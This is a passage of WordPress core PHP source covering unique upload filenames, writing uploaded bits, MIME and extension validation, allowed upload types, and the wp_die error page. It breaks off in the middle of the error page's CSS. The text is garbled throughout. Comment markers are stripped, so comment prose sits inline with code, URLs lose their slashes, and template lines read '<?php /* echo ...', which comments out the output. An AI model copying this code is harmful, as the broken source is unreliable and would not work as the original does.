_wp_check_existing_file_names( $filename, $files ) ) { $new_number = (int) $number + 1; If $ext is uppercase it was replaced with the lowercase version after the previous loop. $filename = str_replace( array( "-{$number}{$lc_ext}", "{$number}{$lc_ext}" ), "-{$new_number}{$lc_ext}", $filename ); $number = $new_number; ++$i; } } } * Check if an image will be converted after uploading or some existing image sub-size file names may conflict * when regenerated. If yes, ensure the new file name will be unique and will produce unique sub-sizes. if ( $is_image ) { * This filter is documented in wp-includes/class-wp-image-editor.php $output_formats = apply_filters( 'image_editor_output_format', array(), $_dir . $filename, $mime_type ); $alt_types = array(); if ( ! empty( $output_formats[ $mime_type ] ) ) { The image will be converted to this format/mime type. $alt_mime_type = $output_formats[ $mime_type ]; Other types of images whose names may conflict if their sub-sizes are regenerated. $alt_types = array_keys( array_intersect( $output_formats, array( $mime_type, $alt_mime_type ) ) ); $alt_types[] = $alt_mime_type; } elseif ( ! empty( $output_formats ) ) { $alt_types = array_keys( array_intersect( $output_formats, array( $mime_type ) ) ); } Remove duplicates and the original mime type. It will be added later if needed. $alt_types = array_unique( array_diff( $alt_types, array( $mime_type ) ) ); foreach ( $alt_types as $alt_type ) { $alt_ext = wp_get_default_extension_for_mime_type( $alt_type ); if ( ! $alt_ext ) { continue; } $alt_ext = ".{$alt_ext}"; $alt_filename = preg_replace( '|' . preg_quote( $lc_ext ) . '$|', $alt_ext, $filename ); $alt_filenames[ $alt_ext ] = $alt_filename; } if ( ! empty( $alt_filenames ) ) { * Add the original filename. It needs to be checked again * together with the alternate filenames when $number is incremented. $alt_filenames[ $lc_ext ] = $filename; Ensure no infinite loop. $i = 0; while ( $i <= $count && _wp_check_alternate_file_names( $alt_filenames, $_dir, $files ) ) { $new_number = (int) $number + 1; foreach ( $alt_filenames as $alt_ext => $alt_filename ) { $alt_filenames[ $alt_ext ] = str_replace( array( "-{$number}{$alt_ext}", "{$number}{$alt_ext}" ), "-{$new_number}{$alt_ext}", $alt_filename ); } * Also update the $number in (the output) $filename. * If the extension was uppercase it was already replaced with the lowercase version. $filename = str_replace( array( "-{$number}{$lc_ext}", "{$number}{$lc_ext}" ), "-{$new_number}{$lc_ext}", $filename ); $number = $new_number; ++$i; } } } } * * Filters the result when generating a unique file name. * * @since 4.5.0 * @since 5.8.1 The `$alt_filenames` and `$number` parameters were added. * * @param string $filename Unique file name. * @param string $ext File extension. Example: ".png". * @param string $dir Directory path. * @param callable|null $unique_filename_callback Callback function that generates the unique file name. * @param string[] $alt_filenames Array of alternate file names that were checked for collisions. * @param int|string $number The highest number that was used to make the file name unique * or an empty string if unused. return apply_filters( 'wp_unique_filename', $filename, $ext, $dir, $unique_filename_callback, $alt_filenames, $number ); } * * Helper function to test if each of an array of file names could conflict with existing files. * * @since 5.8.1 * @access private * * @param string[] $filenames Array of file names to check. * @param string $dir The directory containing the files. * @param array $files An array of existing files in the directory. May be empty. * @return bool True if the tested file name could match an existing file, false otherwise. function _wp_check_alternate_file_names( $filenames, $dir, $files ) { foreach ( $filenames as $filename ) { if ( file_exists( $dir . $filename ) ) { return true; } if ( ! empty( $files ) && _wp_check_existing_file_names( $filename, $files ) ) { return true; } } return false; } * * Helper function to check if a file name could match an existing image sub-size file name. * * @since 5.3.1 * @access private * * @param string $filename The file name to check. * @param array $files An array of existing files in the directory. * @return bool True if the tested file name could match an existing file, false otherwise. function _wp_check_existing_file_names( $filename, $files ) { $fname = pathinfo( $filename, PATHINFO_FILENAME ); $ext = pathinfo( $filename, PATHINFO_EXTENSION ); Edge case, file names like `.ext`. if ( empty( $fname ) ) { return false; } if ( $ext ) { $ext = ".$ext"; } $regex = '/^' . preg_quote( $fname ) . '-(?:\d+x\d+|scaled|rotated)' . preg_quote( $ext ) . '$/i'; foreach ( $files as $file ) { if ( preg_match( $regex, $file ) ) { return true; } } return false; } * * Creates a file in the upload folder with given content. * * If there is an error, then the key 'error' will exist with the error message. * If success, then the key 'file' will have the unique file path, the 'url' key * will have the link to the new file. and the 'error' key will be set to false. * * This function will not move an uploaded file to the upload folder. It will * create a new file with the content in $bits parameter. If you move the upload * file, read the content of the uploaded file, and then you can give the * filename and content to this function, which will add it to the upload * folder. * * The permissions will be set on the new file automatically by this function. * * @since 2.0.0 * * @param string $name Filename. * @param null|string $deprecated Never used. Set to null. * @param string $bits File content * @param string $time Optional. Time formatted in 'yyyy/mm'. Default null. * @return array { * Information about the newly-uploaded file. * * @type string $file Filename of the newly-uploaded file. * @type string $url URL of the uploaded file. * @type string $type File type. * @type string|false $error Error message, if there has been an error. * } function wp_upload_bits( $name, $deprecated, $bits, $time = null ) { if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '2.0.0' ); } if ( empty( $name ) ) { return array( 'error' => __( 'Empty filename' ) ); } $wp_filetype = wp_check_filetype( $name ); if ( ! $wp_filetype['ext'] && ! current_user_can( 'unfiltered_upload' ) ) { return array( 'error' => __( 'Sorry, you are not allowed to upload this file type.' ) ); } $upload = wp_upload_dir( $time ); if ( false !== $upload['error'] ) { return $upload; } * * Filters whether to treat the upload bits as an error. * * Returning a non-array from the filter will effectively short-circuit preparing the upload bits * and return that value instead. An error message should be returned as a string. * * @since 3.0.0 * * @param array|string $upload_bits_error An array of upload bits data, or error message to return. $upload_bits_error = apply_filters( 'wp_upload_bits', array( 'name' => $name, 'bits' => $bits, 'time' => $time, ) ); if ( ! is_array( $upload_bits_error ) ) { $upload['error'] = $upload_bits_error; return $upload; } $filename = wp_unique_filename( $upload['path'], $name ); $new_file = $upload['path'] . "/$filename"; if ( ! wp_mkdir_p( dirname( $new_file ) ) ) { if ( str_starts_with( $upload['basedir'], ABSPATH ) ) { $error_path = str_replace( ABSPATH, '', $upload['basedir'] ) . $upload['subdir']; } else { $error_path = wp_basename( $upload['basedir'] ) . $upload['subdir']; } $message = sprintf( translators: %s: Directory path. __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), $error_path ); return array( 'error' => $message ); } $ifp = @fopen( $new_file, 'wb' ); if ( ! $ifp ) { return array( translators: %s: File name. 'error' => sprintf( __( 'Could not write file %s' ), $new_file ), ); } fwrite( $ifp, $bits ); fclose( $ifp ); clearstatcache(); Set correct file permissions. $stat = @ stat( dirname( $new_file ) ); $perms = $stat['mode'] & 0007777; $perms = $perms & 0000666; chmod( $new_file, $perms ); clearstatcache(); Compute the URL. $url = $upload['url'] . "/$filename"; if ( is_multisite() ) { clean_dirsize_cache( $new_file ); } * This filter is documented in wp-admin/includes/file.php return apply_filters( 'wp_handle_upload', array( 'file' => $new_file, 'url' => $url, 'type' => $wp_filetype['type'], 'error' => false, ), 'sideload' ); } * * Retrieves the file type based on the extension name. * * @since 2.5.0 * * @param string $ext The extension to search. * @return string|void The file type, example: audio, video, document, spreadsheet, etc. function wp_ext2type( $ext ) { $ext = strtolower( $ext ); $ext2type = wp_get_ext_types(); foreach ( $ext2type as $type => $exts ) { if ( in_array( $ext, $exts, true ) ) { return $type; } } } * * Returns first matched extension for the mime-type, * as mapped from wp_get_mime_types(). * * @since 5.8.1 * * @param string $mime_type * * @return string|false function wp_get_default_extension_for_mime_type( $mime_type ) { $extensions = explode( '|', array_search( $mime_type, wp_get_mime_types(), true ) ); if ( empty( $extensions[0] ) ) { return false; } return $extensions[0]; } * * Retrieves the file type from the file name. * * You can optionally define the mime array, if needed. * * @since 2.0.4 * * @param string $filename File name or path. * @param string[]|null $mimes Optional. Array of allowed mime types keyed by their file extension regex. * Defaults to the result of get_allowed_mime_types(). * @return array { * Values for the extension and mime type. * * @type string|false $ext File extension, or false if the file doesn't match a mime type. * @type string|false $type File mime type, or false if the file doesn't match a mime type. * } function wp_check_filetype( $filename, $mimes = null ) { if ( empty( $mimes ) ) { $mimes = get_allowed_mime_types(); } $type = false; $ext = false; foreach ( $mimes as $ext_preg => $mime_match ) { $ext_preg = '!\.(' . $ext_preg . ')$!i'; if ( preg_match( $ext_preg, $filename, $ext_matches ) ) { $type = $mime_match; $ext = $ext_matches[1]; break; } } return compact( 'ext', 'type' ); } * * Attempts to determine the real file type of a file. * * If unable to, the file name extension will be used to determine type. * * If it's determined that the extension does not match the file's real type, * then the "proper_filename" value will be set with a proper filename and extension. * * Currently this function only supports renaming images validated via wp_get_image_mime(). * * @since 3.0.0 * * @param string $file Full path to the file. * @param string $filename The name of the file (may differ from $file due to $file being * in a tmp directory). * @param string[]|null $mimes Optional. Array of allowed mime types keyed by their file extension regex. * Defaults to the result of get_allowed_mime_types(). * @return array { * Values for the extension, mime type, and corrected filename. * * @type string|false $ext File extension, or false if the file doesn't match a mime type. * @type string|false $type File mime type, or false if the file doesn't match a mime type. * @type string|false $proper_filename File name with its correct extension, or false if it cannot be determined. * } function wp_check_filetype_and_ext( $file, $filename, $mimes = null ) { $proper_filename = false; Do basic extension validation and MIME mapping. $wp_filetype = wp_check_filetype( $filename, $mimes ); $ext = $wp_filetype['ext']; $type = $wp_filetype['type']; We can't do any further validation without a file to work with. if ( ! file_exists( $file ) ) { return compact( 'ext', 'type', 'proper_filename' ); } $real_mime = false; Validate image types. if ( $type && str_starts_with( $type, 'image/' ) ) { Attempt to figure out what type of image it actually is. $real_mime = wp_get_image_mime( $file ); if ( $real_mime && $real_mime !== $type ) { * * Filters the list mapping image mime types to their respective extensions. * * @since 3.0.0 * * @param array $mime_to_ext Array of image mime types and their matching extensions. $mime_to_ext = apply_filters( 'getimagesize_mimes_to_exts', array( 'image/jpeg' => 'jpg', 'image/png' => 'png', 'image/gif' => 'gif', 'image/bmp' => 'bmp', 'image/tiff' => 'tif', 'image/webp' => 'webp', ) ); Replace whatever is after the last period in the filename with the correct extension. if ( ! empty( $mime_to_ext[ $real_mime ] ) ) { $filename_parts = explode( '.', $filename ); array_pop( $filename_parts ); $filename_parts[] = $mime_to_ext[ $real_mime ]; $new_filename = implode( '.', $filename_parts ); if ( $new_filename !== $filename ) { $proper_filename = $new_filename; Mark that it changed. } Redefine the extension / MIME. $wp_filetype = wp_check_filetype( $new_filename, $mimes ); $ext = $wp_filetype['ext']; $type = $wp_filetype['type']; } else { Reset $real_mime and try validating again. $real_mime = false; } } } Validate files that didn't get validated during previous checks. if ( $type && ! $real_mime && extension_loaded( 'fileinfo' ) ) { $finfo = finfo_open( FILEINFO_MIME_TYPE ); $real_mime = finfo_file( $finfo, $file ); finfo_close( $finfo ); $google_docs_types = array( 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', ); foreach ( $google_docs_types as $google_docs_type ) { * finfo_file() can return duplicate mime type for Google docs, * this conditional reduces it to a single instance. * * @see https:bugs.php.net/bug.php?id=77784 * @see https:core.trac.wordpress.org/ticket/57898 if ( 2 === substr_count( $real_mime, $google_docs_type ) ) { $real_mime = $google_docs_type; } } fileinfo often misidentifies obscure files as one of these types. $nonspecific_types = array( 'application/octet-stream', 'application/encrypted', 'application/CDFV2-encrypted', 'application/zip', ); * If $real_mime doesn't match the content type we're expecting from the file's extension, * we need to do some additional vetting. Media types and those listed in $nonspecific_types are * allowed some leeway, but anything else must exactly match the real content type. if ( in_array( $real_mime, $nonspecific_types, true ) ) { File is a non-specific binary type. That's ok if it's a type that generally tends to be binary. if ( ! in_array( substr( $type, 0, strcspn( $type, '/' ) ), array( 'application', 'video', 'audio' ), true ) ) { $type = false; $ext = false; } } elseif ( str_starts_with( $real_mime, 'video/' ) || str_starts_with( $real_mime, 'audio/' ) ) { * For these types, only the major type must match the real value. * This means that common mismatches are forgiven: application/vnd.apple.numbers is often misidentified as application/zip, * and some media files are commonly named with the wrong extension (.mov instead of .mp4) if ( substr( $real_mime, 0, strcspn( $real_mime, '/' ) ) !== substr( $type, 0, strcspn( $type, '/' ) ) ) { $type = false; $ext = false; } } elseif ( 'text/plain' === $real_mime ) { A few common file types are occasionally detected as text/plain; allow those. if ( ! in_array( $type, array( 'text/plain', 'text/csv', 'application/csv', 'text/richtext', 'text/tsv', 'text/vtt', ), true ) ) { $type = false; $ext = false; } } elseif ( 'application/csv' === $real_mime ) { Special casing for CSV files. if ( ! in_array( $type, array( 'text/csv', 'text/plain', 'application/csv', ), true ) ) { $type = false; $ext = false; } } elseif ( 'text/rtf' === $real_mime ) { Special casing for RTF files. if ( ! in_array( $type, array( 'text/rtf', 'text/plain', 'application/rtf', ), true ) ) { $type = false; $ext = false; } } else { if ( $type !== $real_mime ) { * Everything else including image and application: * If the real content type doesn't match the file extension, assume it's dangerous. $type = false; $ext = false; } } } The mime type must be allowed. if ( $type ) { $allowed = get_allowed_mime_types(); if ( ! in_array( $type, $allowed, true ) ) { $type = false; $ext = false; } } * * Filters the "real" file type of the given file. * * @since 3.0.0 * @since 5.1.0 The $real_mime parameter was added. * * @param array $wp_check_filetype_and_ext { * Values for the extension, mime type, and corrected filename. * * @type string|false $ext File extension, or false if the file doesn't match a mime type. * @type string|false $type File mime type, or false if the file doesn't match a mime type. * @type string|false $proper_filename File name with its correct extension, or false if it cannot be determined. * } * @param string $file Full path to the file. * @param string $filename The name of the file (may differ from $file due to * $file being in a tmp directory). * @param string[]|null $mimes Array of mime types keyed by their file extension regex, or null if * none were provided. * @param string|false $real_mime The actual mime type or false if the type cannot be determined. return apply_filters( 'wp_check_filetype_and_ext', compact( 'ext', 'type', 'proper_filename' ), $file, $filename, $mimes, $real_mime ); } * * Returns the real mime type of an image file. * * This depends on exif_imagetype() or getimagesize() to determine real mime types. * * @since 4.7.1 * @since 5.8.0 Added support for WebP images. * * @param string $file Full path to the file. * @return string|false The actual mime type or false if the type cannot be determined. function wp_get_image_mime( $file ) { * Use exif_imagetype() to check the mimetype if available or fall back to * getimagesize() if exif isn't available. If either function throws an Exception * we assume the file could not be validated. try { if ( is_callable( 'exif_imagetype' ) ) { $imagetype = exif_imagetype( $file ); $mime = ( $imagetype ) ? image_type_to_mime_type( $imagetype ) : false; } elseif ( function_exists( 'getimagesize' ) ) { Don't silence errors when in debug mode, unless running unit tests. if ( defined( 'WP_DEBUG' ) && WP_DEBUG && ! defined( 'WP_RUN_CORE_TESTS' ) ) { Not using wp_getimagesize() here to avoid an infinite loop. $imagesize = getimagesize( $file ); } else { $imagesize = @getimagesize( $file ); } $mime = ( isset( $imagesize['mime'] ) ) ? $imagesize['mime'] : false; } else { $mime = false; } if ( false !== $mime ) { return $mime; } $magic = file_get_contents( $file, false, null, 0, 12 ); if ( false === $magic ) { return false; } * Add WebP fallback detection when image library doesn't support WebP. * Note: detection values come from LibWebP, see * https:github.com/webmproject/libwebp/blob/master/imageio/image_dec.c#L30 $magic = bin2hex( $magic ); if ( RIFF. ( str_starts_with( $magic, '52494646' ) ) && WEBP. ( 16 === strpos( $magic, '57454250' ) ) ) { $mime = 'image/webp'; } } catch ( Exception $e ) { $mime = false; } return $mime; } * * Retrieves the list of mime types and file extensions. * * @since 3.5.0 * @since 4.2.0 Support was added for GIMP (.xcf) files. * @since 4.9.2 Support was added for Flac (.flac) files. * @since 4.9.6 Support was added for AAC (.aac) files. * * @return string[] Array of mime types keyed by the file extension regex corresponding to those types. function wp_get_mime_types() { * * Filters the list of mime types and file extensions. * * This filter should be used to add, not remove, mime types. To remove * mime types, use the {@see 'upload_mimes'} filter. * * @since 3.5.0 * * @param string[] $wp_get_mime_types Mime types keyed by the file extension regex * corresponding to those types. return apply_filters( 'mime_types', array( Image formats. 'jpg|jpeg|jpe' => 'image/jpeg', 'gif' => 'image/gif', 'png' => 'image/png', 'bmp' => 'image/bmp', 'tiff|tif' => 'image/tiff', 'webp' => 'image/webp', 'ico' => 'image/x-icon', 'heic' => 'image/heic', Video formats. 'asf|asx' => 'video/x-ms-asf', 'wmv' => 'video/x-ms-wmv', 'wmx' => 'video/x-ms-wmx', 'wm' => 'video/x-ms-wm', 'avi' => 'video/avi', 'divx' => 'video/divx', 'flv' => 'video/x-flv', 'mov|qt' => 'video/quicktime', 'mpeg|mpg|mpe' => 'video/mpeg', 'mp4|m4v' => 'video/mp4', 'ogv' => 'video/ogg', 'webm' => 'video/webm', 'mkv' => 'video/x-matroska', '3gp|3gpp' => 'video/3gpp', Can also be audio. '3g2|3gp2' => 'video/3gpp2', Can also be audio. Text formats. 'txt|asc|c|cc|h|srt' => 'text/plain', 'csv' => 'text/csv', 'tsv' => 'text/tab-separated-values', 'ics' => 'text/calendar', 'rtx' => 'text/richtext', 'css' => 'text/css', 'htm|html' => 'text/html', 'vtt' => 'text/vtt', 'dfxp' => 'application/ttaf+xml', Audio formats. 'mp3|m4a|m4b' => 'audio/mpeg', 'aac' => 'audio/aac', 'ra|ram' => 'audio/x-realaudio', 'wav' => 'audio/wav', 'ogg|oga' => 'audio/ogg', 'flac' => 'audio/flac', 'mid|midi' => 'audio/midi', 'wma' => 'audio/x-ms-wma', 'wax' => 'audio/x-ms-wax', 'mka' => 'audio/x-matroska', Misc application formats. 'rtf' => 'application/rtf', 'js' => 'application/javascript', 'pdf' => 'application/pdf', 'swf' => 'application/x-shockwave-flash', 'class' => 'application/java', 'tar' => 'application/x-tar', 'zip' => 'application/zip', 'gz|gzip' => 'application/x-gzip', 'rar' => 'application/rar', '7z' => 'application/x-7z-compressed', 'exe' => 'application/x-msdownload', 'psd' => 'application/octet-stream', 'xcf' => 'application/octet-stream', MS Office formats. 'doc' => 'application/msword', 'pot|pps|ppt' => 'application/vnd.ms-powerpoint', 'wri' => 'application/vnd.ms-write', 'xla|xls|xlt|xlw' => 'application/vnd.ms-excel', 'mdb' => 'application/vnd.ms-access', 'mpp' => 'application/vnd.ms-project', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'docm' => 'application/vnd.ms-word.document.macroEnabled.12', 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', 'dotm' => 'application/vnd.ms-word.template.macroEnabled.12', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12', 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', 'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12', 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12', 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', 'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12', 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', 'potm' => 'application/vnd.ms-powerpoint.template.macroEnabled.12', 'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12', 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', 'sldm' => 'application/vnd.ms-powerpoint.slide.macroEnabled.12', 'onetoc|onetoc2|onetmp|onepkg' => 'application/onenote', 'oxps' => 'application/oxps', 'xps' => 'application/vnd.ms-xpsdocument', OpenOffice formats. 'odt' => 'application/vnd.oasis.opendocument.text', 'odp' => 'application/vnd.oasis.opendocument.presentation', 'ods' => 'application/vnd.oasis.opendocument.spreadsheet', 'odg' => 'application/vnd.oasis.opendocument.graphics', 'odc' => 'application/vnd.oasis.opendocument.chart', 'odb' => 'application/vnd.oasis.opendocument.database', 'odf' => 'application/vnd.oasis.opendocument.formula', WordPerfect formats. 'wp|wpd' => 'application/wordperfect', iWork formats. 'key' => 'application/vnd.apple.keynote', 'numbers' => 'application/vnd.apple.numbers', 'pages' => 'application/vnd.apple.pages', ) ); } * * Retrieves the list of common file extensions and their types. * * @since 4.6.0 * * @return array[] Multi-dimensional array of file extensions types keyed by the type of file. function wp_get_ext_types() { * * Filters file type based on the extension name. * * @since 2.5.0 * * @see wp_ext2type() * * @param array[] $ext2type Multi-dimensional array of file extensions types keyed by the type of file. return apply_filters( 'ext2type', array( 'image' => array( 'jpg', 'jpeg', 'jpe', 'gif', 'png', 'bmp', 'tif', 'tiff', 'ico', 'heic', 'webp' ), 'audio' => array( 'aac', 'ac3', 'aif', 'aiff', 'flac', 'm3a', 'm4a', 'm4b', 'mka', 'mp1', 'mp2', 'mp3', 'ogg', 'oga', 'ram', 'wav', 'wma' ), 'video' => array( '3g2', '3gp', '3gpp', 'asf', 'avi', 'divx', 'dv', 'flv', 'm4v', 'mkv', 'mov', 'mp4', 'mpeg', 'mpg', 'mpv', 'ogm', 'ogv', 'qt', 'rm', 'vob', 'wmv' ), 'document' => array( 'doc', 'docx', 'docm', 'dotm', 'odt', 'pages', 'pdf', 'xps', 'oxps', 'rtf', 'wp', 'wpd', 'psd', 'xcf' ), 'spreadsheet' => array( 'numbers', 'ods', 'xls', 'xlsx', 'xlsm', 'xlsb' ), 'interactive' => array( 'swf', 'key', 'ppt', 'pptx', 'pptm', 'pps', 'ppsx', 'ppsm', 'sldx', 'sldm', 'odp' ), 'text' => array( 'asc', 'csv', 'tsv', 'txt' ), 'archive' => array( 'bz2', 'cab', 'dmg', 'gz', 'rar', 'sea', 'sit', 'sqx', 'tar', 'tgz', 'zip', '7z' ), 'code' => array( 'css', 'htm', 'html', 'php', 'js' ), ) ); } * * Wrapper for PHP filesize with filters and casting the result as an integer. * * @since 6.0.0 * * @link https:www.php.net/manual/en/function.filesize.php * * @param string $path Path to the file. * @return int The size of the file in bytes, or 0 in the event of an error. function wp_filesize( $path ) { * * Filters the result of wp_filesize before the PHP function is run. * * @since 6.0.0 * * @param null|int $size The unfiltered value. Returning an int from the callback bypasses the filesize call. * @param string $path Path to the file. $size = apply_filters( 'pre_wp_filesize', null, $path ); if ( is_int( $size ) ) { return $size; } $size = file_exists( $path ) ? (int) filesize( $path ) : 0; * * Filters the size of the file. * * @since 6.0.0 * * @param int $size The result of PHP filesize on the file. * @param string $path Path to the file. return (int) apply_filters( 'wp_filesize', $size, $path ); } * * Retrieves the list of allowed mime types and file extensions. * * @since 2.8.6 * * @param int|WP_User $user Optional. User to check. Defaults to current user. * @return string[] Array of mime types keyed by the file extension regex corresponding * to those types. function get_allowed_mime_types( $user = null ) { $t = wp_get_mime_types(); unset( $t['swf'], $t['exe'] ); if ( function_exists( 'current_user_can' ) ) { $unfiltered = $user ? user_can( $user, 'unfiltered_html' ) : current_user_can( 'unfiltered_html' ); } if ( empty( $unfiltered ) ) { unset( $t['htm|html'], $t['js'] ); } * * Filters the list of allowed mime types and file extensions. * * @since 2.0.0 * * @param array $t Mime types keyed by the file extension regex corresponding to those types. * @param int|WP_User|null $user User ID, User object or null if not provided (indicates current user). return apply_filters( 'upload_mimes', $t, $user ); } * * Displays "Are You Sure" message to confirm the action being taken. * * If the action has the nonce explain message, then it will be displayed * along with the "Are you sure?" message. * * @since 2.0.4 * * @param string $action The nonce action. function wp_nonce_ays( $action ) { Default title and response code. $title = __( 'Something went wrong.' ); $response_code = 403; if ( 'log-out' === $action ) { $title = sprintf( translators: %s: Site title. __( 'You are attempting to log out of %s' ), get_bloginfo( 'name' ) ); $redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : ''; $html = $title; $html .= '</p><p>'; $html .= sprintf( translators: %s: Logout URL. __( 'Do you really want to <a href="%s">log out</a>?' ), wp_logout_url( $redirect_to ) ); } else { $html = __( 'The link you followed has expired.' ); if ( wp_get_referer() ) { $wp_http_referer = remove_query_arg( 'updated', wp_get_referer() ); $wp_http_referer = wp_validate_redirect( sanitize_url( $wp_http_referer ) ); $html .= '</p><p>'; $html .= sprintf( '<a href="%s">%s</a>', esc_url( $wp_http_referer ), __( 'Please try again.' ) ); } } wp_die( $html, $title, $response_code ); } * * Kills WordPress execution and displays HTML page with an error message. * * This function complements the `die()` PHP function. The difference is that * HTML will be displayed to the user. It is recommended to use this function * only when the execution should not continue any further. It is not recommended * to call this function very often, and try to handle as many errors as possible * silently or more gracefully. * * As a shorthand, the desired HTTP response code may be passed as an integer to * the `$title` parameter (the default title would apply) or the `$args` parameter. * * @since 2.0.4 * @since 4.1.0 The `$title` and `$args` parameters were changed to optionally accept * an integer to be used as the response code. * @since 5.1.0 The `$link_url`, `$link_text`, and `$exit` arguments were added. * @since 5.3.0 The `$charset` argument was added. * @since 5.5.0 The `$text_direction` argument has a priority over get_language_attributes() * in the default handler. * * @global WP_Query $wp_query WordPress Query object. * * @param string|WP_Error $message Optional. Error message. If this is a WP_Error object, * and not an Ajax or XML-RPC request, the error's messages are used. * Default empty string. * @param string|int $title Optional. Error title. If `$message` is a `WP_Error` object, * error data with the key 'title' may be used to specify the title. * If `$title` is an integer, then it is treated as the response code. * Default empty string. * @param string|array|int $args { * Optional. Arguments to control behavior. If `$args` is an integer, then it is treated * as the response code. Default empty array. * * @type int $response The HTTP response code. Default 200 for Ajax requests, 500 otherwise. * @type string $link_url A URL to include a link to. Only works in combination with $link_text. * Default empty string. * @type string $link_text A label for the link to include. Only works in combination with $link_url. * Default empty string. * @type bool $back_link Whether to include a link to go back. Default false. * @type string $text_direction The text direction. This is only useful internally, when WordPress is still * loading and the site's locale is not set up yet. Accepts 'rtl' and 'ltr'. * Default is the value of is_rtl(). * @type string $charset Character set of the HTML output. Default 'utf-8'. * @type string $code Error code to use. Default is 'wp_die', or the main error code if $message * is a WP_Error. * @type bool $exit Whether to exit the process after completion. Default true. * } function wp_die( $message = '', $title = '', $args = array() ) { global $wp_query; if ( is_int( $args ) ) { $args = array( 'response' => $args ); } elseif ( is_int( $title ) ) { $args = array( 'response' => $title ); $title = ''; } if ( wp_doing_ajax() ) { * * Filters the callback for killing WordPress execution for Ajax requests. * * @since 3.4.0 * * @param callable $callback Callback function name. $callback = apply_filters( 'wp_die_ajax_handler', '_ajax_wp_die_handler' ); } elseif ( wp_is_json_request() ) { * * Filters the callback for killing WordPress execution for JSON requests. * * @since 5.1.0 * * @param callable $callback Callback function name. $callback = apply_filters( 'wp_die_json_handler', '_json_wp_die_handler' ); } elseif ( defined( 'REST_REQUEST' ) && REST_REQUEST && wp_is_jsonp_request() ) { * * Filters the callback for killing WordPress execution for JSONP REST requests. * * @since 5.2.0 * * @param callable $callback Callback function name. $callback = apply_filters( 'wp_die_jsonp_handler', '_jsonp_wp_die_handler' ); } elseif ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) { * * Filters the callback for killing WordPress execution for XML-RPC requests. * * @since 3.4.0 * * @param callable $callback Callback function name. $callback = apply_filters( 'wp_die_xmlrpc_handler', '_xmlrpc_wp_die_handler' ); } elseif ( wp_is_xml_request() || isset( $wp_query ) && ( function_exists( 'is_feed' ) && is_feed() || function_exists( 'is_comment_feed' ) && is_comment_feed() || function_exists( 'is_trackback' ) && is_trackback() ) ) { * * Filters the callback for killing WordPress execution for XML requests. * * @since 5.2.0 * * @param callable $callback Callback function name. $callback = apply_filters( 'wp_die_xml_handler', '_xml_wp_die_handler' ); } else { * * Filters the callback for killing WordPress execution for all non-Ajax, non-JSON, non-XML requests. * * @since 3.0.0 * * @param callable $callback Callback function name. $callback = apply_filters( 'wp_die_handler', '_default_wp_die_handler' ); } call_user_func( $callback, $message, $title, $args ); } * * Kills WordPress execution and displays HTML page with an error message. * * This is the default handler for wp_die(). If you want a custom one, * you can override this using the {@see 'wp_die_handler'} filter in wp_die(). * * @since 3.0.0 * @access private * * @param string|WP_Error $message Error message or WP_Error object. * @param string $title Optional. Error title. Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. function _default_wp_die_handler( $message, $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); if ( is_string( $message ) ) { if ( ! empty( $parsed_args['additional_errors'] ) ) { $message = array_merge( array( $message ), wp_list_pluck( $parsed_args['additional_errors'], 'message' ) ); $message = "<ul>\n\t\t<li>" . implode( "</li>\n\t\t<li>", $message ) . "</li>\n\t</ul>"; } $message = sprintf( '<div class="wp-die-message">%s</div>', $message ); } $have_gettext = function_exists( '__' ); if ( ! empty( $parsed_args['link_url'] ) && ! empty( $parsed_args['link_text'] ) ) { $link_url = $parsed_args['link_url']; if ( function_exists( 'esc_url' ) ) { $link_url = esc_url( $link_url ); } $link_text = $parsed_args['link_text']; $message .= "\n<p><a href='{$link_url}'>{$link_text}</a></p>"; } if ( isset( $parsed_args['back_link'] ) && $parsed_args['back_link'] ) { $back_text = $have_gettext ? __( '« Back' ) : '« Back'; $message .= "\n<p><a href='javascript:history.back()'>$back_text</a></p>"; } if ( ! did_action( 'admin_head' ) ) : if ( ! headers_sent() ) { header( "Content-Type: text/html; charset={$parsed_args['charset']}" ); status_header( $parsed_args['response'] ); nocache_headers(); } $text_direction = $parsed_args['text_direction']; $dir_attr = "dir='$text_direction'"; * If `text_direction` was not explicitly passed, * use get_language_attributes() if available. if ( empty( $args['text_direction'] ) && function_exists( 'language_attributes' ) && function_exists( 'is_rtl' ) ) { $dir_attr = get_language_attributes(); } ?> <!DOCTYPE html> <html <?php /* echo $dir_attr; ?>> <head> <meta http-equiv="Content-Type" content="text/html; charset=<?php /* echo $parsed_args['charset']; ?>" /> <meta name="viewport" content="width=device-width"> <?php /* if ( function_exists( 'wp_robots' ) && function_exists( 'wp_robots_no_robots' ) && function_exists( 'add_filter' ) ) { add_filter( 'wp_robots', 'wp_robots_no_robots' ); wp_robots(); } ?> <title><?php /* echo $title; ?></title> <style type="text/css"> html { background: #f1f1f1; } body { background: #fff; border: 1px solid #ccd0d4; color: #444; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; margin: 2em auto; padding: 1em 2em; max-width: 700px; -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04); box-shadow: 0 1px 1px rgba(0, 0, 0, .04); } h1 { 